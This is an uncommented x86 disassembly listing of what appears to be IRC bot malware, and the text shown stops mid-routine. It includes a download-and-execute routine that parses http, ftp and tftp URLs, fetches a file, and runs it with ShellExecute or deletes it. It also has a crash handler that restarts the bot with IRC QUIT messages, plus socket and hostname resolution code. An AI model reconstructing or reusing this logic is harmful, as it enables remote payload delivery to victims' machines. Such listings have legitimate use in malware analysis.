loc_402BF2: ; CODE XREF: sub_402A32+1B1j mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] test eax, eax jz short loc_402C23 mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 2Fh jnz short loc_402C7A loc_402C23: ; CODE XREF: sub_402A32+1D6j mov eax, [ebp+var_7E0] and [ebp+eax+var_6D5], 0 lea eax, [ebp+var_6D4] push eax call sub_40422A pop ecx test eax, eax jz short loc_402C75 mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] add eax, [ebp+var_7E0] push eax mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6C8], 1 loc_402C75: ; CODE XREF: sub_402A32+20Ej jmp loc_403251 ; --------------------------------------------------------------------------- loc_402C7A: ; CODE XREF: sub_402A32+1EFj mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 30h jl short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] movsx eax, [ebp+eax+var_638] cmp eax, 39h jg short loc_402CCE mov eax, [ebp+var_6C0] add eax, [ebp+var_7E0] mov ecx, [ebp+var_7E0] mov al, [ebp+eax+var_638] mov [ebp+ecx+var_6D5], al jmp short loc_402CD3 ; --------------------------------------------------------------------------- loc_402CCE: ; CODE XREF: sub_402A32+25Fj ; sub_402A32+278j jmp loc_40324C ; --------------------------------------------------------------------------- loc_402CD3: ; CODE XREF: sub_402A32+29Aj jmp loc_402BE5 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_402A32+1A1j jmp loc_402BA8 ; --------------------------------------------------------------------------- loc_402CDD: ; CODE XREF: sub_402A32+18Aj ; sub_402A32:loc_40324Cj ... push 7 push offset aHttp ; "http://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402D37 cmp [ebp+var_6C8], 0 jnz short loc_402D13 push offset a80 ; "80" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D13: ; CODE XREF: sub_402A32+2CCj lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 1 jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402D37: ; CODE XREF: sub_402A32+2C3j push 6 push offset aFtp ; "ftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402DB7 cmp [ebp+var_6C8], 0 jnz short loc_402D6D push offset a21 ; "21" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402D6D: ; CODE XREF: sub_402A32+326j lea eax, [ebp+var_632] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 2 push offset aAnonymous ; "anonymous" lea eax, [ebp+var_284] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aAnonymous ; "anonymous" lea eax, [ebp+var_6BC] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_402E3D ; --------------------------------------------------------------------------- loc_402DB7: ; CODE XREF: sub_402A32+31Dj push 7 push offset aTftp ; "tftp://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_402E0E cmp [ebp+var_6C8], 0 jnz short loc_402DED push offset a69 ; "69" lea eax, [ebp+var_6D4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_402DED: ; CODE XREF: sub_402A32+3A6j lea eax, [ebp+var_631] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov [ebp+var_6CC], 3 jmp short loc_402E3D ; --------------------------------------------------------------------------- loc_402E0E: ; CODE XREF: sub_402A32+39Dj mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_418500 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402E3D: ; CODE XREF: sub_402A32+300j ; sub_402A32+380j ... lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402E5F ; --------------------------------------------------------------------------- loc_402E52: ; CODE XREF: sub_402A32:loc_402F11j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402E5F: ; CODE XREF: sub_402A32+41Ej cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402F16 mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 40h jnz loc_402F11 mov eax, [ebp+var_6C0] and [ebp+eax+var_638], 0 push offset asc_4184FC ; ":" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_7E4], eax cmp [ebp+var_7E4], 0 jz short loc_402ED8 mov eax, [ebp+var_7E4] and byte ptr [eax], 0 push 80h mov eax, [ebp+var_7E4] inc eax push eax lea eax, [ebp+var_6BC] push eax call sub_407A56 add esp, 0Ch loc_402ED8: ; CODE XREF: sub_402A32+47Fj push 80h lea eax, [ebp+var_638] push eax lea eax, [ebp+var_284] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_6C0] lea eax, [ebp+eax+var_637] push eax lea eax, [ebp+var_638] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_402F16 ; --------------------------------------------------------------------------- loc_402F11: ; CODE XREF: sub_402A32+44Bj jmp loc_402E52 ; --------------------------------------------------------------------------- loc_402F16: ; CODE XREF: sub_402A32+434j ; sub_402A32+4DDj push offset asc_4184F8 ; "/" lea eax, [ebp+var_638] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_288], eax cmp [ebp+var_288], 0 jnz short loc_402F67 mov eax, [ebp+var_63C] push dword ptr [eax] push offset unk_4184CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 0Ch push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402F67: ; CODE XREF: sub_402A32+504j mov eax, [ebp+var_288] inc eax push eax lea eax, [ebp+var_204] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_288] and byte ptr [eax], 0 lea eax, [ebp+var_638] push eax lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx call sub_416B64 ; clock mov [ebp-6D8h], eax and [ebp+var_6C4], 0 cmp [ebp+var_6CC], 1 jnz short loc_403009 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402698 add esp, 24h mov [ebp+var_28C], eax loc_403009: ; CODE XREF: sub_402A32+582j cmp [ebp+var_6CC], 2 jnz short loc_403065 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_6BC] push eax lea eax, [ebp+var_284] push eax call sub_402A24 add esp, 24h mov [ebp+var_28C], eax loc_403065: ; CODE XREF: sub_402A32+5DEj cmp [ebp+var_6CC], 3 jnz short loc_4030B3 push [ebp+var_63C] movsx eax, [ebp+var_2A8] neg eax sbb eax, eax neg eax push eax lea eax, [ebp+var_6C4] push eax lea eax, [ebp+var_534] push eax lea eax, [ebp+var_204] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_100] push eax call sub_402A2B add esp, 1Ch mov [ebp+var_28C], eax loc_4030B3: ; CODE XREF: sub_402A32+63Aj ; sub_402A32:loc_403256j cmp [ebp+var_28C], 1 jnz loc_403219 movsx eax, [ebp+var_296] test eax, eax jz short loc_4030D7 mov [ebp+var_7EC], offset dword_4184C0 jmp short loc_403104 ; --------------------------------------------------------------------------- loc_4030D7: ; CODE XREF: sub_402A32+697j movsx eax, [ebp+var_2A6] test eax, eax jz short loc_4030EE mov [ebp+var_7F0], offset dword_4184B4 jmp short loc_4030F8 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402A32+6AEj mov [ebp+var_7F0], offset byte_41DE00 loc_4030F8: ; CODE XREF: sub_402A32+6BAj mov eax, [ebp+var_7F0] mov [ebp+var_7EC], eax loc_403104: ; CODE XREF: sub_402A32+6A3j push [ebp+var_7EC] mov eax, [ebp+var_6C4] shr eax, 0Ah mov dword ptr [ebp+var_7F8], eax and dword ptr [ebp+var_7F8+4], 0 fild [ebp+var_7F8] fstp [ebp+var_7FC] call sub_416B64 ; clock sub eax, [ebp-6D8h] mov dword ptr [ebp+var_804], eax and dword ptr [ebp+var_804+4], 0 fild [ebp+var_804] fdiv flt_417270 fdivr [ebp+var_7FC] push ecx push ecx fstp [esp+814h+var_814] lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41846C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_2A7] test eax, eax jz short loc_403198 lea eax, [ebp+var_534] push eax call dword_4170AC ; DeleteFileA jmp short loc_403217 ; --------------------------------------------------------------------------- loc_403198: ; CODE XREF: sub_402A32+755j movsx eax, [ebp+var_2A6] test eax, eax jnz short loc_4031AE movsx eax, [ebp+var_296] test eax, eax jz short loc_403217 loc_4031AE: ; CODE XREF: sub_402A32+76Fj movsx eax, [ebp+var_2A3] neg eax sbb eax, eax inc eax push eax push 0 push 0 lea eax, [ebp+var_534] push eax push offset aOpen ; "open" push 0 call dword_4171D0 mov [ebp+var_7E8], eax cmp [ebp+var_7E8], 20h jbe short loc_4031F4 movsx eax, [ebp+var_296] test eax, eax jz short loc_4031F2 call sub_407148 loc_4031F2: ; CODE XREF: sub_402A32+7B9j jmp short loc_403217 ; --------------------------------------------------------------------------- loc_4031F4: ; CODE XREF: sub_402A32+7AEj lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418444 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_403217: ; CODE XREF: sub_402A32+764j ; sub_402A32+77Aj ... jmp short loc_40323C ; --------------------------------------------------------------------------- loc_403219: ; CODE XREF: sub_402A32+688j lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_418414 lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_40323C: ; CODE XREF: sub_402A32:loc_403217j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp short loc_40325B ; --------------------------------------------------------------------------- loc_40324C: ; CODE XREF: sub_402A32:loc_402CCEj jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403251: ; CODE XREF: sub_402A32:loc_402C75j jmp loc_402CDD ; --------------------------------------------------------------------------- loc_403256: ; CODE XREF: sub_402A32:loc_402B8Ej jmp loc_4030B3 ; --------------------------------------------------------------------------- loc_40325B: ; CODE XREF: sub_402A32+157j ; sub_402A32+406j ... pop edi leave retn 4 sub_402A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403260 proc near ; CODE XREF: sub_40A9CF+959p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_4], 0 jnz short loc_403271 jmp locret_403329 ; --------------------------------------------------------------------------- loc_403271: ; CODE XREF: sub_403260+Aj push 3AFh call sub_416B46 ; malloc pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_40328A jmp locret_403329 ; --------------------------------------------------------------------------- loc_40328A: ; CODE XREF: sub_403260+23j push 8 push 7Ah push 61h push 4 lea eax, [ebp+var_10] push eax call sub_410501 add esp, 14h and [ebp+eax+var_10], 0 push offset dword_418620 lea eax, [ebp+var_10] push eax call sub_416B70 ; _mbscat pop ecx pop ecx cmp [ebp+arg_8], 0 jnz short loc_4032BF lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_4032BF: ; CODE XREF: sub_403260+57j push 104h push [ebp+arg_4] mov eax, [ebp+var_14] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_14] add eax, 108h push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_14] add eax, 20Ch push eax call sub_405F67 pop ecx pop ecx mov eax, [ebp+var_14] add eax, 108h push eax mov eax, [ebp+var_14] add eax, 4 push eax push offset dword_4185FC push 0 push [ebp+var_14] push offset sub_402A32 call sub_4095A4 add esp, 18h locret_403329: ; CODE XREF: sub_403260+Cj ; sub_403260+25j leave retn sub_403260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40332B proc near ; CODE XREF: sub_4093B6+A0p ; sub_4094E6+9Bp ... var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 114h push 1 push offset dword_41DE0C call sub_409C88 pop ecx pop ecx mov [ebp+var_4], eax cmp dword_41DE08, 0 jz loc_4034D9 mov [ebp+var_8], offset aException_othe ; "EXCEPTION_OTHER" mov eax, [ebp+arg_0] mov eax, [eax] mov eax, [eax] mov [ebp+var_110], eax cmp [ebp+var_110], 0C0000025h ja short loc_4033A4 cmp [ebp+var_110], 0C0000025h jz short loc_4033FA cmp [ebp+var_110], 80000003h jz short loc_4033DF cmp [ebp+var_110], 0C0000005h jz short loc_4033D6 cmp [ebp+var_110], 0C000001Dh jz short loc_4033E8 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033A4: ; CODE XREF: sub_40332B+45j cmp [ebp+var_110], 0C000008Dh jb short loc_403413 cmp [ebp+var_110], 0C0000093h jbe short loc_40340C cmp [ebp+var_110], 0C0000094h jz short loc_4033F1 cmp [ebp+var_110], 0C00000FDh jz short loc_403403 jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033D6: ; CODE XREF: sub_40332B+69j mov [ebp+var_8], offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033DF: ; CODE XREF: sub_40332B+5Dj mov [ebp+var_8], offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033E8: ; CODE XREF: sub_40332B+75j mov [ebp+var_8], offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033F1: ; CODE XREF: sub_40332B+9Bj mov [ebp+var_8], offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_4033FA: ; CODE XREF: sub_40332B+51j mov [ebp+var_8], offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_403403: ; CODE XREF: sub_40332B+A7j mov [ebp+var_8], offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_403413 ; --------------------------------------------------------------------------- loc_40340C: ; CODE XREF: sub_40332B+8Fj mov [ebp+var_8], offset aException_flt ; "EXCEPTION_FLT" loc_403413: ; CODE XREF: sub_40332B+77j ; sub_40332B+83j ... mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_40342A mov [ebp+var_114], offset aRestarting ; "Restarting" jmp short loc_403434 ; --------------------------------------------------------------------------- loc_40342A: ; CODE XREF: sub_40332B+F1j mov [ebp+var_114], offset aContinuing ; "Continuing" loc_403434: ; CODE XREF: sub_40332B+FDj push [ebp+var_114] push [ebp+var_8] mov eax, [ebp+arg_0] mov eax, [eax] push dword ptr [eax] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0C4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+9Ch] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A0h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A8h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0ACh] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0A4h] mov eax, [ebp+arg_0] mov eax, [eax+4] push dword ptr [eax+0B0h] mov eax, [ebp+var_4] inc eax push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41864C push offset dword_41DA80 call sub_40D4AB add esp, 48h loc_4034D9: ; CODE XREF: sub_40332B+21j mov eax, [ebp+var_4] inc eax cmp eax, 64h jz short loc_4034ED mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax+4], 1 jnz short loc_403558 loc_4034ED: ; CODE XREF: sub_40332B+1B5j push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jz short loc_403545 push 0 push 0 push 0 lea eax, [ebp+var_10C] push eax push offset aOpen ; "open" push 0 call dword_4171D0 cmp eax, 20h ja short loc_403538 push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp short loc_403543 ; --------------------------------------------------------------------------- loc_403538: ; CODE XREF: sub_40332B+1FEj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403543: ; CODE XREF: sub_40332B+20Bj jmp short loc_403550 ; --------------------------------------------------------------------------- loc_403545: ; CODE XREF: sub_40332B+1DFj push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx loc_403550: ; CODE XREF: sub_40332B:loc_403543j push 0 call dword_41705C ; ExitProcess loc_403558: ; CODE XREF: sub_40332B+1C0j mov eax, [ebp+arg_0] mov eax, [eax] cmp dword ptr [eax], 80000003h jnz short loc_403583 mov eax, [ebp+arg_0] mov eax, [eax+4] mov eax, [eax+0B8h] inc eax mov ecx, [ebp+arg_0] mov ecx, [ecx+4] mov [ecx+0B8h], eax or eax, 0FFFFFFFFh jmp short locret_403586 ; --------------------------------------------------------------------------- loc_403583: ; CODE XREF: sub_40332B+238j push 1 pop eax locret_403586: ; CODE XREF: sub_40332B+256j leave retn sub_40332B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403588 proc near ; DATA XREF: sub_403BD3:loc_403D85o var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 48h cmp [ebp+arg_8], 0 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 0 jz short loc_4035BB mov eax, [ebp+arg_8] cmp dword ptr [eax+4], 2 jz short loc_4035BB push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035BB: ; CODE XREF: sub_403588+13j ; sub_403588+1Cj mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 1 jz short loc_4035E2 mov eax, [ebp+arg_8] cmp dword ptr [eax+8], 2 jz short loc_4035E2 push 273Ch call dword_417234 ; WSASetLastError mov eax, 273Ch jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4035E2: ; CODE XREF: sub_403588+Aj ; sub_403588+3Aj ... cmp [ebp+arg_0], 0 jnz loc_4036D6 push 30h call sub_416B46 ; malloc pop ecx mov [ebp+var_34], eax cmp [ebp+var_34], 0 jnz short loc_40360D push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40360D: ; CODE XREF: sub_403588+73j push 30h push 0 push [ebp+var_34] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_30] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_30], 2 cmp [ebp+arg_4], 0 jz short loc_40364C push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_2E], ax loc_40364C: ; CODE XREF: sub_403588+AEj mov eax, [ebp+var_34] mov dword ptr [eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_403667 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_38], eax jmp short loc_40366E ; --------------------------------------------------------------------------- loc_403667: ; CODE XREF: sub_403588+D2j mov [ebp+var_38], 1 loc_40366E: ; CODE XREF: sub_403588+DDj mov eax, [ebp+var_34] mov ecx, [ebp+var_38] mov [eax+8], ecx cmp [ebp+arg_8], 0 jz short loc_403688 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_3C], eax jmp short loc_40368F ; --------------------------------------------------------------------------- loc_403688: ; CODE XREF: sub_403588+F3j mov [ebp+var_3C], 6 loc_40368F: ; CODE XREF: sub_403588+FEj mov eax, [ebp+var_34] mov ecx, [ebp+var_3C] mov [eax+0Ch], ecx mov eax, [ebp+var_34] mov dword ptr [eax+10h], 10h mov eax, [ebp+var_34] add eax, 20h mov ecx, [ebp+var_34] mov [ecx+18h], eax and [ebp+var_2C], 0 push 10h lea eax, [ebp+var_30] push eax mov eax, [ebp+var_34] add eax, 20h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_C] mov ecx, [ebp+var_34] mov [eax], ecx xor eax, eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036D6: ; CODE XREF: sub_403588+5Ej push [ebp+arg_0] call dword_41723C ; gethostbyname mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4036F2 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_4036F2: ; CODE XREF: sub_403588+15Ej and [ebp+var_20], 0 jmp short loc_4036FF ; --------------------------------------------------------------------------- loc_4036F8: ; CODE XREF: sub_403588+18Cj mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_4036FF: ; CODE XREF: sub_403588+16Ej cmp [ebp+var_14], 0 jz short loc_403716 mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_20] cmp dword ptr [eax+ecx*4], 0 jz short loc_403716 jmp short loc_4036F8 ; --------------------------------------------------------------------------- loc_403716: ; CODE XREF: sub_403588+17Bj ; sub_403588+18Aj cmp [ebp+var_20], 0 jnz short loc_403726 mov eax, 2AFBh jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_403726: ; CODE XREF: sub_403588+192j mov eax, [ebp+var_20] imul eax, 30h push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_40374C push 8 call dword_417234 ; WSASetLastError push 8 pop eax jmp locret_4038B6 ; --------------------------------------------------------------------------- loc_40374C: ; CODE XREF: sub_403588+1B2j mov eax, [ebp+var_20] imul eax, 30h push eax push 0 push [ebp+var_1C] call sub_416B6A ; memset add esp, 0Ch push 10h push 0 lea eax, [ebp+var_10] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_10], 2 cmp [ebp+arg_4], 0 jz short loc_403790 push [ebp+arg_4] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov [ebp+var_E], ax loc_403790: ; CODE XREF: sub_403588+1F2j and [ebp+var_18], 0 jmp short loc_40379D ; --------------------------------------------------------------------------- loc_403796: ; CODE XREF: sub_403588:loc_4038A7j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_40379D: ; CODE XREF: sub_403588+20Cj mov eax, [ebp+var_18] cmp eax, [ebp+var_20] jnb loc_4038AC cmp [ebp+arg_8], 0 jz short loc_4037B9 mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_40], eax jmp short loc_4037C0 ; --------------------------------------------------------------------------- loc_4037B9: ; CODE XREF: sub_403588+225j mov [ebp+var_40], 4 loc_4037C0: ; CODE XREF: sub_403588+22Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_40] mov [ecx+eax], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+4], 2 cmp [ebp+arg_8], 0 jz short loc_4037F1 mov eax, [ebp+arg_8] mov eax, [eax+8] mov [ebp+var_44], eax jmp short loc_4037F8 ; --------------------------------------------------------------------------- loc_4037F1: ; CODE XREF: sub_403588+25Cj mov [ebp+var_44], 1 loc_4037F8: ; CODE XREF: sub_403588+267j mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_44] mov [ecx+eax+8], edx cmp [ebp+arg_8], 0 jz short loc_403819 mov eax, [ebp+arg_8] mov eax, [eax+0Ch] mov [ebp+var_48], eax jmp short loc_403820 ; --------------------------------------------------------------------------- loc_403819: ; CODE XREF: sub_403588+284j mov [ebp+var_48], 6 loc_403820: ; CODE XREF: sub_403588+28Fj mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov edx, [ebp+var_48] mov [ecx+eax+0Ch], edx mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] mov dword ptr [ecx+eax+10h], 10h mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] mov ecx, [ebp+var_18] imul ecx, 30h mov edx, [ebp+var_1C] mov [edx+ecx+18h], eax mov eax, [ebp+var_14] mov eax, [eax+0Ch] mov ecx, [ebp+var_18] mov eax, [eax+ecx*4] mov eax, [eax] mov [ebp+var_C], eax push 10h lea eax, [ebp+var_10] push eax mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] lea eax, [ecx+eax+20h] push eax call sub_416B52 ; memcpy add esp, 0Ch cmp [ebp+var_18], 0 jz short loc_4038A7 mov eax, [ebp+var_18] imul eax, 30h mov ecx, [ebp+var_1C] add ecx, eax mov eax, [ebp+var_18] dec eax imul eax, 30h mov edx, [ebp+var_1C] mov [edx+eax+1Ch], ecx loc_4038A7: ; CODE XREF: sub_403588+304j jmp loc_403796 ; --------------------------------------------------------------------------- loc_4038AC: ; CODE XREF: sub_403588+21Bj mov eax, [ebp+arg_C] mov ecx, [ebp+var_1C] mov [eax], ecx xor eax, eax locret_4038B6: ; CODE XREF: sub_403588+2Ej ; sub_403588+55j ... leave retn 10h sub_403588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038BA proc near ; DATA XREF: sub_403BD3+1BCo var_434 = dword ptr -434h var_430 = byte ptr -430h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 434h cmp [ebp+arg_8], 0 jnz short loc_4038CF cmp [ebp+arg_10], 0 jz short loc_4038D8 loc_4038CF: ; CODE XREF: sub_4038BA+Dj mov eax, [ebp+arg_18] and al, 0E0h test eax, eax jz short loc_4038ED loc_4038D8: ; CODE XREF: sub_4038BA+13j push 2726h call dword_417234 ; WSASetLastError mov eax, 2726h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_4038BA+1Cj mov eax, [ebp+arg_0] mov [ebp+var_40C], eax mov eax, [ebp+var_40C] movsx eax, word ptr [eax] cmp eax, 2 jz short loc_403919 push 273Fh call dword_417234 ; WSASetLastError mov eax, 273Fh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403919: ; CODE XREF: sub_4038BA+48j cmp [ebp+arg_8], 0 jz loc_403ABA mov eax, [ebp+var_40C] push dword ptr [eax+4] call dword_41721C ; inet_ntoa mov [ebp+var_434], eax cmp [ebp+var_434], 0 jnz short loc_403949 or eax, 0FFFFFFFFh jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403949: ; CODE XREF: sub_4038BA+85j push 401h push [ebp+var_434] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+arg_18] and eax, 2 test eax, eax jz short loc_403972 jmp loc_403BB4 ; --------------------------------------------------------------------------- loc_403972: ; CODE XREF: sub_4038BA+B1j mov eax, [ebp+arg_18] and eax, 4 test eax, eax jz short loc_4039F4 push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_4039AA call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; 